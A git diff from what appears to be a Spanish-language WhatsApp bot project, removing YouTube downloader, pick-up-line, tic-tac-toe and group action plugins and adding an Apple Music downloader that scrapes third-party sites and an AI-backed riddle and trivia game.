- /*conn.sendHydrated(m.chat, `💞 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤 | 𝙍𝙚𝙨𝙪𝙡𝙩: ${text}`, `𝙁𝙤𝙣𝙙𝙤 | 𝙒𝙥 | ${wm}`, img, img, '☘️ 𝙐𝙍𝙇', null, null, [
-['🔄 𝙎𝙞𝙜𝙪𝙞𝙚𝙣𝙩𝙚 | 𝙉𝙚𝙭𝙩', `${usedPrefix + command} ${text}`],
-['🔍 𝙋𝙞𝙣𝙩𝙚𝙧𝙚𝙨𝙩 ', `#pinterest ${text}`],
-['🔍 𝙂𝙤𝙤𝙜𝙡𝙚 ', `#image ${text}`],
-], m)*/
-
-}
-handler.help = ['', '2'].map(v => 'wallpaper' + v + ' ')
-handler.tags = ['downloader']
-handler.command = /^(wp|wallpaper2?)$/i
-handler.exp = 29
-handler.limit = 1
-handler.level = 3
-export default handler
diff --git a/plugins/descargas-yta.js b/plugins/descargas-yta.js
deleted file mode 100644
index a697eb9a7..000000000
--- a/plugins/descargas-yta.js
+++ /dev/null
@@ -1,53 +0,0 @@
-import { youtubedl, youtubedlv2 } from '@bochilteam/scraper'
-import fetch from 'node-fetch'
-import yts from 'yt-search'
-import ytdl from 'ytdl-core'
-let handler = async (m, { text, conn, args, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!args[0]) throw '*𝙌𝙪𝙚 𝙚𝙨𝙩𝙖 𝙗𝙪𝙨𝙘𝙖𝙙𝙤🤔 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙥𝙖𝙧𝙖 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧 𝙚𝙡 𝙖𝙪𝙙𝙞𝙤*'
-
-let youtubeLink = '';
-if (args[0].includes('you')) {
-youtubeLink = args[0];
-} else {
-const index = parseInt(args[0]) - 1;
-if (index >= 0) {
-if (Array.isArray(global.videoList) && global.videoList.length > 0) {
-const matchingItem = global.videoList.find(item => item.from === m.sender);
-if (matchingItem) {
-if (index < matchingItem.urls.length) {
-youtubeLink = matchingItem.urls[index];
-} else {
-throw `${lenguajeGB['smsAvisoFG']()} 𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙊𝙉𝙏𝙍𝙊́ 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀𝙎 𝙋𝘼𝙍𝘼 𝙀𝙎𝙀 𝙉𝙐́𝙈𝙀𝙍𝙊, 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙉𝙐́𝙈𝙀𝙍𝙊 𝙀𝙉𝙏𝙍𝙀 1 𝙔 𝙀𝙇 ${matchingItem.urls.length}*`;
-}} else {
-throw `${lenguajeGB['smsAvisoMG']()} 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙐𝙎𝘼𝙍 𝙀𝙎𝙏𝙀 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼 (${usedPrefix + command} ), 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝙇𝘼 𝘽𝙐́𝙎𝙌𝙐𝙀𝘿𝘼 𝘿𝙀 𝙑𝙄́𝘿𝙀𝙊𝙎 𝘾𝙊𝙉 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 ${usedPrefix}playlist *`;
-}} else {
-throw `${lenguajeGB['smsAvisoMG']()} 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙐𝙎𝘼𝙍 𝙀𝙎𝙏𝙀 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼 (${usedPrefix + command} ), 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝙇𝘼 𝘽𝙐́𝙎𝙌𝙐𝙀𝘿𝘼 𝘿𝙀 𝙑𝙄́𝘿𝙀𝙊𝙎 𝘾𝙊𝙉 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 ${usedPrefix}playlist *`;
-}}}
-
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙎𝙀 𝙀𝙎𝙏𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙉𝘿𝙊 𝙎𝙐 𝘼𝙐𝘿𝙄𝙊, 𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍`, fkontak, m)
-try {
-let q = '128kbps'
-let v = youtubeLink
-const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
-const dl_url = await yt.audio[q].download()
-const ttl = await yt.title
-const size = await yt.audio[q].fileSizeH
-await conn.sendFile(m.chat, dl_url, ttl + '.mp3', null, m, false, { mimetype: 'audio/mp4' })
-} catch {
-try {
-let lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytaudio2?apikey=${lolkeysapi}&url=${youtubeLink}`)
-let lolh = await lolhuman.json()
-let n = lolh.result.title || 'error'
-await conn.sendMessage(m.chat, { audio: { url: lolh.result.link }, fileName: `${n}.mp3`, mimetype: 'audio/mp4' }, { quoted: m })
-} catch {
-try {
-let searchh = await yts(youtubeLink)
-let __res = searchh.all.map(v => v).filter(v => v.type == "video")
-let infoo = await ytdl.getInfo('https://youtu.be/' + __res[0].videoId)
-let ress = await ytdl.chooseFormat(infoo.formats, { filter: 'audioonly' })
-conn.sendMessage(m.chat, { audio: { url: ress.url }, fileName: __res[0].title + '.mp3', mimetype: 'audio/mp4' }, { quoted: m })
-} catch {
-}}}}
-handler.command = /^audio|fgmp3|dlmp3|getaud|yt(a|mp3)$/i
-export default handler
diff --git a/plugins/descargas-ytv.js b/plugins/descargas-ytv.js
deleted file mode 100644
index 65c1657bd..000000000
--- a/plugins/descargas-ytv.js
+++ /dev/null
@@ -1,120 +0,0 @@
-import { youtubedl, youtubedlv2 } from '@bochilteam/scraper'
-import fetch from 'node-fetch'
-import yts from 'yt-search'
-import ytdl from 'ytdl-core'
-import axios from 'axios'
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!args[0]) throw '*𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙚𝙡 𝙚𝙣𝙡𝙖𝙘𝙚 𝙙𝙚 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙥𝙖𝙧𝙖 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧 𝙚𝙡 𝙫𝙞𝙙𝙚𝙤*'
-
-let youtubeLink = '';
-if (args[0].includes('you')) {
-youtubeLink = args[0];
-} else {
-const index = parseInt(args[0]) - 1;
-if (index >= 0) {
-if (Array.isArray(global.videoList) && global.videoList.length > 0) {
-const matchingItem = global.videoList.find(item => item.from === m.sender);
-if (matchingItem) {
-if (index < matchingItem.urls.length) {
-youtubeLink = matchingItem.urls[index];
-} else {
-throw `${lenguajeGB['smsAvisoFG']()} 𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙊𝙉𝙏𝙍𝙊́ 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀𝙎 𝙋𝘼𝙍𝘼 𝙀𝙎𝙀 𝙉𝙐́𝙈𝙀𝙍𝙊, 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙉𝙐́𝙈𝙀𝙍𝙊 𝙀𝙉𝙏𝙍𝙀 1 𝙔 𝙀𝙇 ${matchingItem.urls.length}*`;
-}} else {
-throw `${lenguajeGB['smsAvisoMG']()} 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙐𝙎𝘼𝙍 𝙀𝙎𝙏𝙀 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼 (${usedPrefix + command} ), 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝙇𝘼 𝘽𝙐́𝙎𝙌𝙐𝙀𝘿𝘼 𝘿𝙀 𝙑𝙄́𝘿𝙀𝙊𝙎 𝘾𝙊𝙉 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 ${usedPrefix}playlist *`;
-}} else {
-throw `${lenguajeGB['smsAvisoMG']()} 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙐𝙎𝘼𝙍 𝙀𝙎𝙏𝙀 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼 (${usedPrefix + command} ), 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝙇𝘼 𝘽𝙐́𝙎𝙌𝙐𝙀𝘿𝘼 𝘿𝙀 𝙑𝙄́𝘿𝙀𝙊𝙎 𝘾𝙊𝙉 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 ${usedPrefix}playlist *`;
-}}}
-
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙎𝙀 𝙀𝙎𝙏𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙉𝘿𝙊 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊, 𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍`, fkontak, m)
-try {
-let qu = args[1] || '360'
-let q = qu + 'p'
-let v = youtubeLink
-const yt = await youtubedl(v).catch(async _ => await youtubedlv2(v))
-const dl_url = await yt.video[q].download()
-const ttl = await yt.title
-const size = await yt.video[q].fileSizeH
-await await conn.sendMessage(m.chat, { video: { url: dl_url }, fileName: `${ttl}.mp4`, mimetype: 'video/mp4', caption: `🔰 𝘼𝙦𝙪𝙞 𝙚𝙨𝙩𝙖 𝙩𝙪 𝙫𝙞𝙙𝙚𝙤 \n🔥 𝙏𝙞𝙩𝙪𝙡𝙤:: ${ttl}`, thumbnail: await fetch(yt.thumbnail) }, { quoted: m })
-} catch (E1) {
-//console.log('Error 1 ' + E1)
-try {
-let mediaa = await ytMp4(youtubeLink)
-await conn.sendMessage(m.chat, { video: { url: mediaa.result }, fileName: `error.mp4`, caption: `_${wm}_`, thumbnail: mediaa.thumb, mimetype: 'video/mp4' }, { quoted: m })
-} catch (E2) {
-//console.log('Error 2 ' + E2)
-try {
-let lolhuman = await fetch(`https://api.lolhuman.xyz/api/ytvideo2?apikey=${lolkeysapi}&url=${youtubeLink}`)
-let lolh = await lolhuman.json()
-let n = lolh.result.title || 'error'
-let n2 = lolh.result.link
-let n3 = lolh.result.size
-let n4 = lolh.result.thumbnail
-await conn.sendMessage(m.chat, { video: { url: n2 }, fileName: `${n}.mp4`, mimetype: 'video/mp4', caption: `🔰 𝘼𝙦𝙪𝙞 𝙚𝙨𝙩𝙖 𝙩𝙪 𝙫𝙞𝙙𝙚𝙤 \n🔥 𝙏𝙞𝙩𝙪𝙡𝙤: ${n}`, thumbnail: await fetch(n4) }, { quoted: m })
-} catch (E3) {
-//console.log('Error 3 ' + E3)
-}}}}
-handler.command = /^video|fgmp4|dlmp4|getvid|yt(v|mp4)?$/i
-export default handler
-
-function bytesToSize(bytes) {
-return new Promise((resolve, reject) => {
-const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
-if (bytes === 0) return 'n/a';
-const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)), 10);
-if (i === 0) resolve(`${bytes} ${sizes[i]}`);
-resolve(`${(bytes / (1024 ** i)).toFixed(1)} ${sizes[i]}`)})};
-
-async function ytMp3(url) {
-return new Promise((resolve, reject) => {
-ytdl.getInfo(url).then(async(getUrl) => {
-let result = [];
-for(let i = 0; i < getUrl.formats.length; i++) {
-let item = getUrl.formats[i];
-if (item.mimeType == 'audio/webm; codecs=\"opus\"') {
-let { contentLength } = item;
-let bytes = await bytesToSize(contentLength);
-result[i] = { audio: item.url, size: bytes }}};
-let resultFix = result.filter(x => x.audio != undefined && x.size != undefined)
-let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].audio}`);
-let tinyUrl = tiny.data;
-let title = getUrl.videoDetails.title;
-let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({ title, result: tinyUrl, result2: resultFix, thumb })}).catch(reject)})}
-
-async function ytMp4(url) {
-return new Promise(async(resolve, reject) => {
-ytdl.getInfo(url).then(async(getUrl) => {
-let result = [];
-for(let i = 0; i < getUrl.formats.length; i++) {
-let item = getUrl.formats[i];
-if (item.container == 'mp4' && item.hasVideo == true && item.hasAudio == true) {
-let { qualityLabel, contentLength } = item;
-let bytes = await bytesToSize(contentLength);
-result[i] = { video: item.url, quality: qualityLabel, size: bytes }}};
-let resultFix = result.filter(x => x.video != undefined && x.size != undefined && x.quality != undefined)
-let tiny = await axios.get(`https://tinyurl.com/api-create.php?url=${resultFix[0].video}`);
-let tinyUrl = tiny.data;
-let title = getUrl.videoDetails.title;
-let thumb = getUrl.player_response.microformat.playerMicroformatRenderer.thumbnail.thumbnails[0].url;
-resolve({ title, result: tinyUrl, rersult2: resultFix[0].video, thumb })}).catch(reject)})};
-
-async function ytPlay(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async(getData) => {
-let result = getData.videos.slice( 0, 5 );
-let url = [];
-for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
-let random = url[0];
-let getAudio = await ytMp3(random);
-resolve(getAudio)}).catch(reject)})};
-
-async function ytPlayVid(query) {
-return new Promise((resolve, reject) => {
-yts(query).then(async(getData) => {
-let result = getData.videos.slice( 0, 5 );
-let url = [];
-for (let i = 0; i < result.length; i++) { url.push(result[i].url) }
-let random = url[0];
-let getVideo = await ytMp4(random);
-resolve(getVideo)}).catch(reject)})};
diff --git a/plugins/descargas.appmusic.js b/plugins/descargas.appmusic.js
new file mode 100644
index 000000000..40f243973
--- /dev/null
+++ b/plugins/descargas.appmusic.js
@@ -0,0 +1,90 @@
+import axios from 'axios';
+import * as cheerio from 'cheerio';
+import qs from 'qs';
+const userMessages = new Map();
+const userRequests = {};
+
+let handler = async (m, { conn, text, usedPrefix, command }) => {
+if (!text) return m.reply( `Ejemplo de uso: ${usedPrefix + command} https://music.apple.com/us/album/glimpse-of-us/1625328890?i=1625328892`);
+if (userRequests[m.sender]) {
+conn.reply(m.chat, `⚠️ Hey @${m.sender.split('@')[0]} pendejo, ya estás descargando una canción 🙄\nEspera a que termine tu descarga actual antes de pedir otra. 👆`, userMessages.get(m.sender) || m)
+return;
+}
+userRequests[m.sender] = true;
+m.react("⌛");
+try {
+const downloadAttempts = [async () => {
+const apiUrl = `${info.apis}/applemusicdl?url=${encodeURIComponent(text)}`;
+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+return { name: delius.data.name, artists: delius.data.artists, image: delius.data.image, duration: delius.data.duration, download: delius.data.download };
+},
+async () => {
+const appledown = {
+getData: async (urls) => {
+const url = `https://aaplmusicdownloader.com/api/applesearch.php?url=${urls}`;
+const response = await axios.get(url, { headers: { 'Accept': 'application/json', 'User-Agent': 'MyApp/1.0' } });
+return response.data;
+},
+getAudio: async (trackName, artist, urlMusic, token) => {
+const url = 'https://aaplmusicdownloader.com/api/composer/swd.php';
+const data = { song_name: trackName, artist_name: artist, url: urlMusic, token: token };
+const headers = { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'User-Agent': 'MyApp/1.0' };
+const response = await axios.post(url, qs.stringify(data), { headers });
+return response.data.dlink;
+},
+download: async (urls) => {
+const musicData = await appledown.getData(urls);
+if (!musicData || !musicData.success) throw new Error('No se pudo obtener los datos en appledown API');
+const encodedData = encodeURIComponent(JSON.stringify([musicData.name, musicData.albumname, musicData.artist, musicData.thumb, musicData.duration, musicData.url]));
+const url = 'https://aaplmusicdownloader.com/song.php';
+const headers = { 'content-type': 'application/x-www-form-urlencoded', 'User-Agent': 'MyApp/1.0' };
+const data = `data=${encodedData}`;
+const response = await axios.post(url, data, { headers });
+const htmlData = response.data;
+const $ = cheerio.load(htmlData);
+const trackName = $('td:contains("Track Name:")').next().text();
+const albumName = $('td:contains("Album:")').next().text();
+const duration = $('td:contains("Duration:")').next().text();
+const artist = $('td:contains("Artist:")').next().text();
+const thumb = $('figure.image img').attr('src');
+const urlMusic = urls;
+const token = $('a#download_btn').attr('token');
+const downloadLink = await appledown.getAudio(trackName, artist, urlMusic, token);
+return { name: trackName, albumname: albumName, artist, url: urlMusic, thumb, duration, token, download: downloadLink };
+}};
+const dataos = await appledown.download(text);
+return { name: dataos.name, artists: dataos.artist, image: dataos.thumb, duration: dataos.duration, download: dataos.download, url: dataos.url,
+}},
+];
+
+let songData = null;
+for (const attempt of downloadAttempts) {
+try {
+songData = await attempt();
+if (songData) break; // Si se obtiene un resultado, salir del bucle
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
+
+if (!songData) throw new Error('No se pudo descargar la canción desde ninguna API');
+const texto = `*• Titulo:* ${songData.name}\n*• Artistas:* ${songData.artists}\n*• Duración:* ${songData.duration}${songData.url ? `\n*• URL:* ${songData.url}` : ''}`;
+const coverMessage = await conn.sendFile(m.chat, songData.image, 'cover.jpg', texto, m);
+userMessages.set(m.sender, coverMessage);
+await conn.sendMessage(m.chat, { document: { url: songData.download }, fileName: `${songData.name}.mp3`, mimetype: 'audio/mp3' }, { quoted: m });
+m.react("✅");
+} catch (e) {
+console.error("Error final:", e);
+m.reply("Ocurrió un error al intentar obtener el enlace de descarga.");
+m.react("❌");
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['applemusic'];
+handler.tags = ['downloader'];
+handler.command = /^(applemusic)$/i;
+handler.register = true;
+handler.limit = 1;
+
+export default handler;
\ No newline at end of file
diff --git a/plugins/frase-piropos.js b/plugins/frase-piropos.js
deleted file mode 100644
index 8c4062d7c..000000000
--- a/plugins/frase-piropos.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/* By https://github.com/DIEGO-OFC/DORRAT-BOT-MD */
-
-let handler = async (m, { conn, text}) => {
-
-m.reply(`*╔═══════════════════════════*\n➢ *"${pickRandom(global.piropo)}"*\n*╚═══════════════════════════*`)
-}
-handler.tags = ['frases']
-handler.command = ['piropo']
-export default handler
-
-function pickRandom(list) {
-return list[Math.floor(list.length * Math.random())]}
-
-global.piropo = ["Me gustaría ser papel para poder envolver ese bombón.", "Eres como wifi sin contraseña, todo el mundo te busca", "Quién fuera bus para andar por las curvas de tu corazón.", "Quiero volar sin alas y salir de este universo, entrar en el tuyo y amarte en silencio.", "Quisiera ser mantequilla para derretirme en tu arepa.", "Si la belleza fuera pecado vos ya estarías en el infierno.", "Me Gustaría Ser Un Gato Para Pasar 7 Vidas A Tu Lado.", "Robar Está Mal Pero Un Beso De Tu Boca Sí Me Lo Robaría.", "Qué Hermoso Es El Cielo Cuando Está Claro Pero Más Hermoso Es El Amor Cuando Te Tengo A Mi Lado.", "Bonita, Camina Por La Sombra, El Sol Derrite Los Chocolates.", "Si Fuera Un Correo Electrónico Serías Mi Contraseña.", "Quisiera que fueses monte para darte machete", "Perdí mi número de teléfono ¿Me das el tuyo?", "¿Cómo te llamas para pedirte de regalo a Santa Claus?", " En el cielo hay muchas estrellas, pero la más brillante está en la Tierra y eres tú.", "¿Acaba de salir el sol o es la sonrisa que me regalas hoy?", "No es el ron ni la cerveza, eres tú quien se me ha subido a la cabeza", "Si hablamos de matemáticas eres la suma de todos mis deseos.", "Pareces Google porque tienes todo lo que yo busco.", "Mi café favorito, es el de tus ojos.", "Quiero ser photoshop para retocarte todo el cuerpo.", "Quisiera que fueras cereal, para cucharearte en las mañanas.", "Quien fuera hambre, para darte tres veces al día."]
diff --git a/plugins/fun-_ttt.js b/plugins/fun-_ttt.js
deleted file mode 100644
index 0a2a17a5e..000000000
--- a/plugins/fun-_ttt.js
+++ /dev/null
@@ -1,119 +0,0 @@
-import { format } from 'util'
-let debugMode = !1
-//let winScore = 4999
-//let playScore = 99
-export async function before(m) {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
-let ok
-let isWin = !1
-let isTie = !1
-let isSurrender = !1
-this.game = this.game ? this.game : {}
-let room = Object.values(this.game).find(room => room.id && room.game && room.state && room.id.startsWith('tictactoe') && [room.game.playerX, room.game.playerO].includes(m.sender) && room.state == 'PLAYING')
-if (room) {
-if (!/^([1-9]|(me)?nyerah|\rendirse\|rendirse|RENDIRSE|SALIR|salir|Salir|out|OUT|Out|surr?ender)$/i.test(m.text))
-return !0
-isSurrender = !/^[1-9]$/.test(m.text)
-if (m.sender !== room.game.currentTurn) {
-if (!isSurrender)
-return !0 }
-if (debugMode)
-m.reply('[DEBUG]\n' + require('util').format({
-isSurrender,
-text: m.text }))
-if (!isSurrender && 1 > (ok = room.game.turn(m.sender === room.game.playerO, parseInt(m.text) - 1))) {
-m.reply({
-'-3': 'El juego ha terminado',
-'-2': 'Inválido',
-'-1': 'Posición inválida',
-0: 'Posición inválida',
-}[ok])
-return !0 }
-if (m.sender === room.game.winner)
-isWin = true
-else if (room.game.board === 511)
-isTie = true
-let arr = room.game.render().map(v => {
-return {
-X: '❎',
-O: '⭕',
-1: '1️⃣',
-2: '2️⃣',
-3: '3️⃣',
-4: '4️⃣',
-5: '5️⃣',
-6: '6️⃣',
-7: '7️⃣',
-8: '8️⃣',
-9: '9️⃣',
-}[v]})
-if (isSurrender) {
-
-room.game._currentTurn = m.sender === room.game.playerX
-isWin = true }
-
-let dia = Math.floor(Math.random() * 2)
-let tok = Math.floor(Math.random() * 2)
-let gata = Math.floor(Math.random() * 10)
-let expp = Math.floor(Math.random() * 10)
-
-let dia2 = Math.floor(Math.random() * 15)
-let tok2 = Math.floor(Math.random() * 10)
-let gata2 = Math.floor(Math.random() * 1500)
-let expp2 = Math.floor(Math.random() * 2500)
-
-let winner = isSurrender ? room.game.currentTurn : room.game.winner
-let str = `
-🫂 𝙅𝙪𝙜𝙖𝙙𝙤𝙧𝙚𝙨:
-*┈┈┈┈┈┈┈┈┈*
-❎ = @${room.game.playerX.split('@')[0]}
-⭕ = @${room.game.playerO.split('@')[0]}
-*┈┈┈┈┈┈┈┈┈*
- ${arr.slice(0, 3).join('')}
- ${arr.slice(3, 6).join('')}
- ${arr.slice(6).join('')}
-*┈┈┈┈┈┈┈┈┈*
-${isWin ? `@${(isSurrender ? room.game.currentTurn : room.game.winner).split('@')[0]} 😎🏆 *𝙂𝙖𝙣𝙖𝙧𝙩𝙚!!*\n*𝙋𝙤𝙧 𝙝𝙖𝙗𝙚𝙧 𝙜𝙖𝙣𝙖𝙙𝙤𝙨 𝙤𝙗𝙩𝙞𝙚𝙣𝙚*\n\n💎 *${dia2} 𝘿𝙞𝙖𝙢𝙖𝙣𝙩𝙚𝙨*\n🪙 *${tok2} 𝙏𝙤𝙠𝙚𝙣𝙨*\n🐈 *${gata2} 𝙇𝙤𝙡𝙞𝙘𝙤𝙞𝙣𝙨*\n⚡ *${expp2} 𝙀𝙭𝙥*` : isTie ? `*𝙀𝙢𝙥𝙖𝙩𝙚!!* 🤨\n*𝙋𝙤𝙧 𝙩𝙚𝙧𝙢𝙞𝙣𝙖 𝙚𝙡 𝙚𝙢𝙥𝙖𝙩𝙚 𝙖𝙢𝙗𝙤𝙨 𝙩𝙞𝙚𝙣𝙚*\n\n💎 *${dia} 𝘿𝙞𝙖𝙢𝙖𝙣𝙩𝙚𝙨*\n🪙 *${tok} 𝙏𝙤𝙠𝙚𝙣𝙨*\n🐈 *${gata} 𝙇𝙤𝙡𝙞𝙘𝙤𝙞𝙣𝙨*\n⚡ *${expp} 𝙀𝙭𝙥*` : `🪄 *𝙏𝙪𝙧𝙣𝙤 𝙙𝙚* @${room.game.currentTurn.split('@')[0]}`}
-`.trim()
-let users = global.db.data.users
-if ((room.game._currentTurn ^ isSurrender ? room.x : room.o) !== m.chat)
-room[room.game._currentTurn ^ isSurrender ? 'x' : 'o'] = m.chat
-if (room.x !== room.o)
-await this.sendMessage(room.x, { text: str, mentions: this.parseMention(str)}, { quoted: fkontak, m })
-await this.sendMessage(room.o, { text: str, mentions: this.parseMention(str)}, { quoted: fkontak, m })
-
-if (isTie || isWin) {
-users[room.game.playerX].limit += dia //empate
-users[room.game.playerX].joincount += tok
-users[room.game.playerX].money += gata
-users[room.game.playerX].exp += expp
-
-users[room.game.playerO].limit += dia //empate
-users[room.game.playerO].joincount += tok
-users[room.game.playerO].money += gata
-users[room.game.playerO].exp += expp
-
-if (isWin)
-users[winner].limit += dia2 //Ganador
-users[winner].joincount += tok2
-users[winner].money += gata2
-users[winner].exp += expp2
-
-if (debugMode)
-m.reply('[DEBUG]\n' + format(room))
-delete this.game[room.id]}}
-return !0 }
diff --git a/plugins/fun-acciones.js b/plugins/fun-acciones.js
deleted file mode 100644
index 618d81fbd..000000000
--- a/plugins/fun-acciones.js
+++ /dev/null
@@ -1,14 +0,0 @@
-let handler = async (m, { conn, groupMetadata, text, command}) => {
- if (!m.mentionedJid[0] && !m.quoted) throw '𝑬𝒕𝒊𝒒𝒖𝒆𝒕𝒂𝒔 𝒂 𝒂𝒍𝒈𝒖𝒊𝒆𝒏 𝒅𝒆𝒍 𝒈𝒓𝒖𝒑𝒐 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓𝒍𝒆 𝒂𝒍𝒈𝒖𝒏𝒂𝒔 𝒂𝒄𝒄𝒊𝒐𝒏'
- let user = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender
-let participants = groupMetadata.participants
- conn.reply(m.chat, `Le acabas de ${command} ${text} a *@${user.split('@')[0]}* 😳`, null, { mentions: [user] })
-
-}
-handler.help = ['acciones']
-handler.tags = ['acciones']
-handler.command = /^(regalar|dar|enviar|meter|chupar|metersela|retar)$/
-
-handler.group = true
-
-export default handler
diff --git a/plugins/fun-adivinar.js b/plugins/fun-adivinar.js
new file mode 100644
index 000000000..0a6bb8fe5
--- /dev/null
+++ b/plugins/fun-adivinar.js
@@ -0,0 +1,112 @@
+import fs from 'fs';
+import fetch from 'node-fetch';
+import similarity from 'similarity';
+
+const timeout = 50000;
+const timeout2 = 20000;
+const poin = 500;
+const threshold = 0.72;
+const juegos = {};
+const preguntasUsadas = new Set();
+
+const archivosRespaldo = {
+ acertijo: "acertijo.json",
+ pelicula: "peliculas.json",
+ trivia: "trivia.json"
+};
+
+async function obtenerPregunta(tipo) {
+ const prompt = {
+ acertijo: "Genera un acertijo con su respuesta en formato JSON: {\"question\": \"\", \"response\": \"\"}.",
+ pelicula: "Genera un juego de adivinar película con emojis como pista, formato JSON: {\"question\": \"\", \"response\": \"\"}.",
+ trivia: "Genera una trivia en formato JSON: {\"question\": \"\\n\\nA) ...\\nB) ...\\nC) ...\", \"response\": \"\"}."
+ }[tipo];
+
+ for (let i = 0; i < 6; i++) {
+ try {
+ const res = await fetch(`https://api.neoxr.eu/api/gptweb?text=${encodeURIComponent(prompt)}&apikey=russellxz`);
+ if (!res.ok || res.headers.get('content-type')?.includes('text/html')) throw new Error(`Invalid API response (${res.status})`);
+ const json = await res.json();
+ if (json?.data) {
+ const match = json.data.match(/```json\s*([\s\S]*?)\s*```/);
+ const clean = match ? match[1] : json.data;
+ const obj = JSON.parse(clean);
+ if (obj.question && obj.response && !preguntasUsadas.has(obj.question)) {
+ preguntasUsadas.add(obj.question);
+ return obj;
+ }
+ }
+ } catch (e) {
+ console.error('[IA backup]', e.message || e);
+ }
+ }
+
+ try {
+ const archivo = `./src/game/${archivosRespaldo[tipo]}`;
+ const data = JSON.parse(fs.readFileSync(archivo));
+ const pregunta = data[Math.floor(Math.random() * data.length)];
+ preguntasUsadas.add(pregunta.question);
